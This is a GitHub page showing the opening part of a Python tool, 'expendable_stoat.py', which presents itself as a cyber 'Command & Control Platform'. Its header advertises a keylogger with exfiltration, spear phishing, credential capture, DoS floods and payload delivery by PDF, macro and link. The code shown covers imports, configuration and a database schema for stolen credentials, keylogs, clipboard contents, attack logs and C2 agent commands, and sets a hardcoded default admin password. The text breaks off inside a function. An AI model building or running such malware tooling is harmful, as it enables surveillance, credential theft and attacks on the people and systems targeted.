-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathexpendable_stoat.py
More file actions
5867 lines (5214 loc) · 235 KB
/
Copy pathexpendable_stoat.py
File metadata and controls
5867 lines (5214 loc) · 235 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
🦡 EXPENDABLE_STOAT v3.0.0 -Cybersecurity Command & Control Platform
Author: Ian Carter Kulani
Version: 3.0.0
A complete cybersecurity automation platform featuring:
- 21000+ Security Commands
- Multi-Platform Bot Integration (Discord, Telegram, WhatsApp, Signal, Google Chat, Slack, iMessage, Web)
- Advanced Keylogger with PDF/Email/HTML Exfiltration
- Spear Phishing Email Campaigns with Templates
- REAL Traffic Generation (ICMP/TCP/UDP/HTTP/DNS/ARP)
- Nikto Web Vulnerability Scanner
- Social Engineering Suite with 100+ Phishing Templates
- SSH Remote Access via All Platforms
- Advanced IP Management & Threat Detection
- Beautiful Web Dashboard with Real-time Monitoring
- Graphical Reports & Statistics
- DOS/DDOS Attack Capabilities
- Agent Mode with Command & Control
- Advanced Network Management & Traffic Monitoring
- PDF/Email/Link-based Keylogger Deployment
"""
import os
import sys
import json
import time
import socket
import threading
import subprocess
import requests
import logging
import platform
import psutil
import sqlite3
import ipaddress
import re
import random
import datetime
import signal
import base64
import urllib.parse
import uuid
import struct
import http.client
import ssl
import shutil
import asyncio
import hashlib
import getpass
import socketserver
import ctypes
import queue
import secrets
import string
import smtplib
import email.message
import tempfile
import zipfile
import tarfile
import gzip
import argparse
from pathlib import Path
from typing import Dict, List, Set, Optional, Tuple, Any, Union, Callable
from dataclasses import dataclass, asdict, field
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
from collections import Counter, defaultdict, deque
from enum import Enum
from functools import wraps
from abc import ABC, abstractmethod
from http.server import BaseHTTPRequestHandler, HTTPServer
# =====================
# VERSION & METADATA
# =====================
VERSION = "3.0.0"
NAME = "EXPENDABLE_STOAT"
AUTHOR = "Ian Carter Kulani"
DESCRIPTION = "Ultimate Cybersecurity Command & Control Platform"
# =====================
# DEPENDENCY CHECK & IMPORTS
# =====================
# Cryptography
try:
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2
CRYPTO_AVAILABLE = True
except ImportError:
CRYPTO_AVAILABLE = False
# Keylogger
try:
from pynput import keyboard
PYNPUT_AVAILABLE = True
except ImportError:
PYNPUT_AVAILABLE = False
# SSH
try:
import paramiko
from paramiko import SSHClient, AutoAddPolicy, SFTPClient, Transport
PARAMIKO_AVAILABLE = True
except ImportError:
PARAMIKO_AVAILABLE = False
# Discord
try:
import discord
from discord.ext import commands, tasks
DISCORD_AVAILABLE = True
except ImportError:
DISCORD_AVAILABLE = False
# Telegram
try:
from telethon import TelegramClient, events
from telethon.tl.types import MessageEntityCode
TELETHON_AVAILABLE = True
except ImportError:
TELETHON_AVAILABLE = False
# Slack
try:
from slack_sdk import WebClient
from slack_sdk.socket_mode import SocketModeClient
from slack_sdk.socket_mode.request import SocketModeRequest
SLACK_AVAILABLE = True
except ImportError:
SLACK_AVAILABLE = False
# Signal CLI
SIGNAL_AVAILABLE = shutil.which('signal-cli') is not None
# iMessage (macOS only)
IMESSAGE_AVAILABLE = platform.system().lower() == 'darwin'
# Google Chat
try:
from httplib2 import Http
from google.oauth2 import service_account
from googleapiclient.discovery import build
GOOGLE_CHAT_AVAILABLE = True
except ImportError:
GOOGLE_CHAT_AVAILABLE = False
# WhatsApp (using pywhatkit or selenium)
try:
import pywhatkit
WHATSAPP_AVAILABLE = True
except ImportError:
WHATSAPP_AVAILABLE = False
# Web Framework
try:
from flask import Flask, render_template_string, request, jsonify, session, redirect, url_for
from flask_socketio import SocketIO, emit
from flask_cors import CORS
WEB_AVAILABLE = True
except ImportError:
WEB_AVAILABLE = False
# Scapy
try:
from scapy.all import IP, TCP, UDP, ICMP, Ether, ARP, DNS, DNSQR, send, sr1, srp
SCAPY_AVAILABLE = True
except ImportError:
SCAPY_AVAILABLE = False
# WHOIS
try:
import whois
WHOIS_AVAILABLE = True
except ImportError:
WHOIS_AVAILABLE = False
# QR Code
try:
import qrcode
QRCODE_AVAILABLE = True
except ImportError:
QRCODE_AVAILABLE = False
# URL Shortening
try:
import pyshorteners
SHORTENER_AVAILABLE = True
except ImportError:
SHORTENER_AVAILABLE = False
# Data Visualization
try:
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
import seaborn as sns
import numpy as np
GRAPHICS_AVAILABLE = True
except ImportError:
GRAPHICS_AVAILABLE = False
# PDF Generation
try:
from reportlab.lib import colors
from reportlab.lib.pagesizes import letter, A4
from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Table, TableStyle, Image, PageBreak
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
from reportlab.lib.units import inch
PDF_AVAILABLE = True
except ImportError:
PDF_AVAILABLE = False
# BeautifulSoup for email parsing
try:
from bs4 import BeautifulSoup
BS4_AVAILABLE = True
except ImportError:
BS4_AVAILABLE = False
# Colorama
try:
from colorama import init, Fore, Back, Style
init(autoreset=True)
COLORAMA_AVAILABLE = True
except ImportError:
COLORAMA_AVAILABLE = False
# =====================
# THEME (Dark/Black & White with Cyberpunk Accents)
# =====================
if COLORAMA_AVAILABLE:
class Colors:
PRIMARY = Fore.WHITE + Style.BRIGHT
SECONDARY = Fore.LIGHTWHITE_EX + Style.BRIGHT
ACCENT = Fore.CYAN + Style.BRIGHT
SUCCESS = Fore.GREEN + Style.BRIGHT
WARNING = Fore.YELLOW + Style.BRIGHT
ERROR = Fore.RED + Style.BRIGHT
INFO = Fore.CYAN + Style.BRIGHT
DARK = Fore.BLACK + Style.BRIGHT
WHITE = Fore.WHITE + Style.BRIGHT
RED = Fore.RED + Style.BRIGHT
GREEN = Fore.GREEN + Style.BRIGHT
BLUE = Fore.BLUE + Style.BRIGHT
MAGENTA = Fore.MAGENTA + Style.BRIGHT
RESET = Style.RESET_ALL
BG_BLACK = Back.BLACK + Fore.WHITE
BG_WHITE = Back.WHITE + Fore.BLACK
BG_DARK = Back.BLACK + Fore.LIGHTWHITE_EX
else:
class Colors:
PRIMARY = SECONDARY = ACCENT = SUCCESS = WARNING = ERROR = INFO = DARK = WHITE = BG_BLACK = BG_WHITE = RED = GREEN = BLUE = MAGENTA = RESET = ""
# =====================
# CONFIGURATION
# =====================
CONFIG_DIR = ".expendable_stoat"
CONFIG_FILE = os.path.join(CONFIG_DIR, "config.json")
SSH_CONFIG_FILE = os.path.join(CONFIG_DIR, "ssh_config.json")
DATABASE_FILE = os.path.join(CONFIG_DIR, "expendable_stoat.db")
LOG_FILE = os.path.join(CONFIG_DIR, "expendable_stoat.log")
KEYLOG_FILE = os.path.join(CONFIG_DIR, "keylog.txt")
PAYLOADS_DIR = os.path.join(CONFIG_DIR, "payloads")
WORKSPACES_DIR = os.path.join(CONFIG_DIR, "workspaces")
SCAN_RESULTS_DIR = os.path.join(CONFIG_DIR, "scans")
REPORT_DIR = "expendable_stoat_reports"
PHISHING_DIR = os.path.join(CONFIG_DIR, "phishing_pages")
PHISHING_TEMPLATES_DIR = os.path.join(CONFIG_DIR, "phishing_templates")
CAPTURED_CREDENTIALS_DIR = os.path.join(CONFIG_DIR, "captured_credentials")
SSH_KEYS_DIR = os.path.join(CONFIG_DIR, "ssh_keys")
TRAFFIC_LOGS_DIR = os.path.join(CONFIG_DIR, "traffic_logs")
NIKTO_RESULTS_DIR = os.path.join(CONFIG_DIR, "nikto_results")
GRAPHICS_DIR = os.path.join(REPORT_DIR, "graphics")
TEMP_DIR = "temp"
WEB_TEMPLATES_DIR = os.path.join(CONFIG_DIR, "web_templates")
SESSION_DIR = os.path.join(CONFIG_DIR, "sessions")
SPEAR_PHISHING_DIR = os.path.join(CONFIG_DIR, "spear_phishing")
EMAIL_TEMPLATES_DIR = os.path.join(CONFIG_DIR, "email_templates")
DOS_LOGS_DIR = os.path.join(CONFIG_DIR, "dos_logs")
AGENT_DIR = os.path.join(CONFIG_DIR, "agents")
C2_LOGS_DIR = os.path.join(CONFIG_DIR, "c2_logs")
MODULES_DIR = os.path.join(CONFIG_DIR, "modules")
NETWORK_MONITOR_DIR = os.path.join(CONFIG_DIR, "network_monitor")
KEYLOG_EXFIL_DIR = os.path.join(CONFIG_DIR, "keylog_exfil")
DEPLOYMENT_DIR = os.path.join(CONFIG_DIR, "deployments")
# Create directories
directories = [
CONFIG_DIR, PAYLOADS_DIR, WORKSPACES_DIR, SCAN_RESULTS_DIR, REPORT_DIR,
PHISHING_DIR, PHISHING_TEMPLATES_DIR, CAPTURED_CREDENTIALS_DIR,
SSH_KEYS_DIR, TRAFFIC_LOGS_DIR, NIKTO_RESULTS_DIR, GRAPHICS_DIR,
TEMP_DIR, WEB_TEMPLATES_DIR, SESSION_DIR, SPEAR_PHISHING_DIR,
EMAIL_TEMPLATES_DIR, DOS_LOGS_DIR, AGENT_DIR, C2_LOGS_DIR,
MODULES_DIR, NETWORK_MONITOR_DIR, KEYLOG_EXFIL_DIR, DEPLOYMENT_DIR
]
for directory in directories:
Path(directory).mkdir(exist_ok=True, parents=True)
# Setup logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - EXPENDABLE_STOAT - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler(LOG_FILE, encoding='utf-8'),
logging.StreamHandler(sys.stdout)
]
)
logger = logging.getLogger("ExpendableStoat")
# =====================
# ENUMS & DATA CLASSES
# =====================
class TrafficType(Enum):
ICMP = "icmp"
TCP_SYN = "tcp_syn"
TCP_ACK = "tcp_ack"
TCP_CONNECT = "tcp_connect"
UDP = "udp"
HTTP_GET = "http_get"
HTTP_POST = "http_post"
HTTPS = "https"
DNS = "dns"
ARP = "arp"
PING_FLOOD = "ping_flood"
SYN_FLOOD = "syn_flood"
UDP_FLOOD = "udp_flood"
HTTP_FLOOD = "http_flood"
MIXED = "mixed"
RANDOM = "random"
class ScanType(Enum):
PING = "ping"
QUICK = "quick"
COMPREHENSIVE = "comprehensive"
STEALTH = "stealth"
FULL = "full"
UDP = "udp"
OS = "os_detection"
SERVICE = "service_detection"
VULNERABILITY = "vulnerability"
WEB = "web"
class Severity(Enum):
LOW = "low"
MEDIUM = "medium"
HIGH = "high"
CRITICAL = "critical"
class Platform(Enum):
DISCORD = "discord"
SLACK = "slack"
TELEGRAM = "telegram"
SIGNAL = "signal"
IMESSAGE = "imessage"
GOOGLE_CHAT = "google_chat"
WEB = "web"
WHATSAPP = "whatsapp"
class DeploymentType(Enum):
PDF = "pdf"
EMAIL = "email"
LINK = "link"
EXECUTABLE = "executable"
DOCUMENT = "document"
MACRO = "macro"
@dataclass
class CommandResult:
success: bool
output: str
execution_time: float
error: Optional[str] = None
data: Optional[Dict] = None
@dataclass
class SSHConnection:
id: str
name: str
host: str
port: int = 22
username: str = ""
password: Optional[str] = None
key_path: Optional[str] = None
status: str = "disconnected"
created_at: str = field(default_factory=lambda: datetime.datetime.now().isoformat())
last_used: Optional[str] = None
@dataclass
class TrafficGenerator:
id: str
traffic_type: str
target_ip: str
target_port: Optional[int]
duration: int
packets_sent: int = 0
bytes_sent: int = 0
start_time: Optional[str] = None
end_time: Optional[str] = None
status: str = "pending"
@dataclass
class PhishingLink:
id: str
platform: str
phishing_url: str
template: str
created_at: str
clicks: int = 0
@dataclass
class CapturedCredential:
id: int
link_id: str
timestamp: str
username: str
password: str
ip_address: str
user_agent: str
@dataclass
class ThreatAlert:
timestamp: str
threat_type: str
source_ip: str
severity: str
description: str
action_taken: str
@dataclass
class SpearPhishingCampaign:
id: str
name: str
template: str
subject: str
from_email: str
targets: List[Dict]
sent_count: int = 0
open_count: int = 0
click_count: int = 0
status: str = "draft"
created_at: str = field(default_factory=lambda: datetime.datetime.now().isoformat())
scheduled_time: Optional[str] = None
@dataclass
class KeylogEntry:
timestamp: str
text: str
window: str
process: str
screenshot: Optional[str] = None
@dataclass
class Deployment:
id: str
name: str
type: str
payload: str
target: str
created_at: str
delivered: bool = False
opened: bool = False
executed: bool = False
# =====================
# CONFIGURATION MANAGER
# =====================
class ConfigManager:
DEFAULT_CONFIG = {
"version": VERSION,
"auto_start": False,
"auto_block_enabled": False,
"auto_block_threshold": 5,
"scan_timeout": 30,
"report_format": "html",
"generate_graphics": True,
"keylogger": {
"enabled": False,
"hotkey": "f10",
"log_file": KEYLOG_FILE,
"c2_server": "",
"upload_interval": 30,
"exfil_methods": ["file", "email", "c2", "telegram", "discord"],
"screenshot_interval": 60,
"capture_clipboard": True,
"capture_mic": False,
"capture_cam": False
},
"web": {
"enabled": False,
"port": 5000,
"host": "0.0.0.0",
"secret_key": "",
"require_auth": True,
"username": "admin",
"password_hash": ""
},
"discord": {
"enabled": False,
"token": "",
"channel_id": "",
"prefix": "!",
"admin_role": "Admin"
},
"slack": {
"enabled": False,
"bot_token": "",
"app_token": "",
"channel_id": "",
"prefix": "!"
},
"telegram": {
"enabled": False,
"bot_token": "",
"chat_id": "",
"prefix": "/"
},
"signal": {
"enabled": False,
"phone_number": "",
"group_id": "",
"prefix": "!"
},
"imessage": {
"enabled": False,
"phone_numbers": [],
"prefix": "!"
},
"google_chat": {
"enabled": False,
"webhook_url": "",
"space_id": "",
"prefix": "/"
},
"whatsapp": {
"enabled": False,
"phone_number": "",
"prefix": "!"
},
"monitoring": {
"enabled": True,
"port_scan_threshold": 10,
"syn_flood_threshold": 100,
"http_flood_threshold": 200,
"ddos_threshold": 1000
},
"traffic_generation": {
"enabled": True,
"max_duration": 300,
"max_packet_rate": 1000,
"allow_floods": False
},
"social_engineering": {
"enabled": True,
"default_port": 8080,
"capture_credentials": True,
"auto_shorten_urls": True
},
"ssh": {
"enabled": True,
"default_timeout": 30,
"max_connections": 5
},
"spear_phishing": {
"enabled": True,
"smtp_server": "",
"smtp_port": 587,
"smtp_username": "",
"smtp_password": "",
"track_opens": True,
"track_clicks": True
},
"dos": {
"enabled": True,
"max_threads": 100,
"default_timeout": 60,
"attack_types": ["syn", "udp", "http", "icmp"]
},
"agent": {
"enabled": False,
"server_url": "",
"heartbeat_interval": 30,
"command_poll_interval": 5
},
"network_monitor": {
"enabled": True,
"interface": "eth0",
"promiscuous": False,
"packet_capture_limit": 1000
},
"deployment": {
"enabled": True,
"pdf_template": "",
"email_template": "",
"link_expiry": 3600,
"download_url": ""
}
}
def __init__(self):
self.config_dir = Path(CONFIG_DIR)
self.config_dir.mkdir(exist_ok=True)
self.config_file = self.config_dir / "config.json"
self.config = self.load()
def load(self) -> Dict:
try:
if self.config_file.exists():
with open(self.config_file, 'r') as f:
loaded = json.load(f)
for key, value in self.DEFAULT_CONFIG.items():
if key not in loaded:
loaded[key] = value
elif isinstance(value, dict):
for sub_key, sub_value in value.items():
if sub_key not in loaded[key]:
loaded[key][sub_key] = sub_value
return loaded
except Exception as e:
print(f"Failed to load config: {e}")
return self.DEFAULT_CONFIG.copy()
def save(self) -> bool:
try:
with open(self.config_file, 'w') as f:
json.dump(self.config, f, indent=2)
return True
except Exception as e:
print(f"Failed to save config: {e}")
return False
def get(self, key: str, default=None):
keys = key.split('.')
value = self.config
for k in keys:
if isinstance(value, dict):
value = value.get(k, default)
else:
return default
return value
def set(self, key: str, value: Any) -> bool:
keys = key.split('.')
target = self.config
for k in keys[:-1]:
if k not in target:
target[k] = {}
target = target[k]
target[keys[-1]] = value
return self.save()
# =====================
# DATABASE MANAGER
# =====================
class DatabaseManager:
def __init__(self, db_path: str = DATABASE_FILE):
self.db_path = db_path
self.conn = sqlite3.connect(db_path, check_same_thread=False)
self.conn.row_factory = sqlite3.Row
self.init_tables()
def init_tables(self):
tables = [
"""
CREATE TABLE IF NOT EXISTS command_history (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
command TEXT NOT NULL,
source TEXT DEFAULT 'local',
platform TEXT,
user_id TEXT,
success BOOLEAN DEFAULT 1,
output TEXT,
execution_time REAL
)
""",
"""
CREATE TABLE IF NOT EXISTS threats (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
threat_type TEXT NOT NULL,
source_ip TEXT NOT NULL,
severity TEXT NOT NULL,
description TEXT,
action_taken TEXT,
resolved BOOLEAN DEFAULT 0
)
""",
"""
CREATE TABLE IF NOT EXISTS managed_ips (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip_address TEXT UNIQUE NOT NULL,
added_by TEXT,
added_date DATETIME DEFAULT CURRENT_TIMESTAMP,
notes TEXT,
is_blocked BOOLEAN DEFAULT 0,
block_reason TEXT,
threat_level INTEGER DEFAULT 0,
alert_count INTEGER DEFAULT 0
)
""",
"""
CREATE TABLE IF NOT EXISTS ssh_connections (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
host TEXT NOT NULL,
port INTEGER DEFAULT 22,
username TEXT NOT NULL,
password_encrypted TEXT,
key_path TEXT,
status TEXT DEFAULT 'disconnected',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
last_used DATETIME
)
""",
"""
CREATE TABLE IF NOT EXISTS ssh_commands (
id INTEGER PRIMARY KEY AUTOINCREMENT,
connection_id TEXT NOT NULL,
command TEXT NOT NULL,
output TEXT,
exit_code INTEGER,
execution_time REAL,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (connection_id) REFERENCES ssh_connections(id)
)
""",
"""
CREATE TABLE IF NOT EXISTS traffic_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
traffic_type TEXT NOT NULL,
target_ip TEXT NOT NULL,
target_port INTEGER,
duration INTEGER,
packets_sent INTEGER,
bytes_sent INTEGER,
status TEXT,
executed_by TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS nikto_scans (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
target TEXT NOT NULL,
vulnerabilities TEXT,
output_file TEXT,
scan_time REAL,
success BOOLEAN DEFAULT 1
)
""",
"""
CREATE TABLE IF NOT EXISTS phishing_links (
id TEXT PRIMARY KEY,
platform TEXT NOT NULL,
phishing_url TEXT NOT NULL,
template TEXT NOT NULL,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
clicks INTEGER DEFAULT 0,
active BOOLEAN DEFAULT 1
)
""",
"""
CREATE TABLE IF NOT EXISTS captured_credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
phishing_link_id TEXT NOT NULL,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
username TEXT,
password TEXT,
ip_address TEXT,
user_agent TEXT,
FOREIGN KEY (phishing_link_id) REFERENCES phishing_links(id)
)
""",
"""
CREATE TABLE IF NOT EXISTS scans (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
target TEXT NOT NULL,
scan_type TEXT NOT NULL,
open_ports TEXT,
success BOOLEAN DEFAULT 1
)
""",
"""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
role TEXT DEFAULT 'user',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
)
""",
"""
CREATE TABLE IF NOT EXISTS sessions (
id TEXT PRIMARY KEY,
user_id INTEGER,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
expires_at DATETIME,
FOREIGN KEY (user_id) REFERENCES users(id)
)
""",
"""
CREATE TABLE IF NOT EXISTS keylogs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
text TEXT,
window TEXT,
process TEXT,
screenshot_path TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS spear_phishing_campaigns (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
template TEXT NOT NULL,
subject TEXT NOT NULL,
from_email TEXT NOT NULL,
targets TEXT,
sent_count INTEGER DEFAULT 0,
open_count INTEGER DEFAULT 0,
click_count INTEGER DEFAULT 0,
status TEXT DEFAULT 'draft',
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
scheduled_time DATETIME
)
""",
"""
CREATE TABLE IF NOT EXISTS email_tracking (
id INTEGER PRIMARY KEY AUTOINCREMENT,
campaign_id TEXT NOT NULL,
target_email TEXT NOT NULL,
opened BOOLEAN DEFAULT 0,
clicked BOOLEAN DEFAULT 0,
opened_at DATETIME,
clicked_at DATETIME,
FOREIGN KEY (campaign_id) REFERENCES spear_phishing_campaigns(id)
)
""",
"""
CREATE TABLE IF NOT EXISTS dos_attacks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
attack_type TEXT NOT NULL,
target TEXT NOT NULL,
port INTEGER,
duration INTEGER,
packets_sent INTEGER,
status TEXT,
executed_by TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS agents (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
ip_address TEXT,
status TEXT DEFAULT 'offline',
last_heartbeat DATETIME,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
config TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS agent_commands (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
command TEXT NOT NULL,
status TEXT DEFAULT 'pending',
result TEXT,
executed_at DATETIME,
FOREIGN KEY (agent_id) REFERENCES agents(id)
)
""",
"""
CREATE TABLE IF NOT EXISTS network_packets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
source_ip TEXT,
dest_ip TEXT,
source_port INTEGER,
dest_port INTEGER,
protocol TEXT,
size INTEGER,
payload TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS performance_metrics (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
cpu_percent REAL,
memory_percent REAL,
disk_percent REAL,
network_sent INTEGER,
network_recv INTEGER,
connections_count INTEGER
)
""",
"""
CREATE TABLE IF NOT EXISTS deployments (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
type TEXT NOT NULL,
payload TEXT,
target TEXT,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
delivered BOOLEAN DEFAULT 0,
opened BOOLEAN DEFAULT 0,
executed BOOLEAN DEFAULT 0,
data TEXT
)
""",
"""
CREATE TABLE IF NOT EXISTS clipboard_history (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
content TEXT,
source TEXT
)
"""
]
for sql in tables:
try:
self.conn.execute(sql)
except Exception as e:
print(f"Table creation error: {e}")
self.conn.commit()
self._create_default_admin()
def _create_default_admin(self):
try:
import hashlib
default_password = "expendable_stoat_2024"
password_hash = hashlib.sha256(default_password.encode()).hexdigest()
self.conn.execute(
"INSERT OR IGNORE INTO users (username, password_hash, role) VALUES (?, ?, ?)",
("admin", password_hash, "admin")
)
self.conn.commit()
except:
pass
def log_command(self, command: str, source: str = "local", platform: str = None,
user_id: str = None, success: bool = True, output: str = "",
execution_time: float = 0.0):
try:
self.conn.execute(
"""INSERT INTO command_history
(command, source, platform, user_id, success, output, execution_time)
VALUES (?, ?, ?, ?, ?, ?, ?)""",
(command, source, platform, user_id, success, output[:5000], execution_time)
)
self.conn.commit()
except Exception as e:
print(f"Failed to log command: {e}")
def log_threat(self, threat_type: str, source_ip: str, severity: str, description: str):
try:
self.conn.execute(
"INSERT INTO threats (threat_type, source_ip, severity, description) VALUES (?, ?, ?, ?)",
(threat_type, source_ip, severity, description)
)
self.conn.commit()
except Exception as e:
print(f"Failed to log threat: {e}")
def add_managed_ip(self, ip: str, added_by: str = "system", notes: str = "") -> bool:
try:
ipaddress.ip_address(ip)
self.conn.execute(
"INSERT OR IGNORE INTO managed_ips (ip_address, added_by, notes) VALUES (?, ?, ?)",
(ip, added_by, notes)
)
self.conn.commit()
return True
except:
return False
def block_ip(self, ip: str, reason: str, executed_by: str = "system") -> bool:
try:
self.conn.execute(
"UPDATE managed_ips SET is_blocked = 1, block_reason = ? WHERE ip_address = ?",
(reason, ip)
)
self.conn.commit()
return True
except:
return False
def unblock_ip(self, ip: str) -> bool:
try: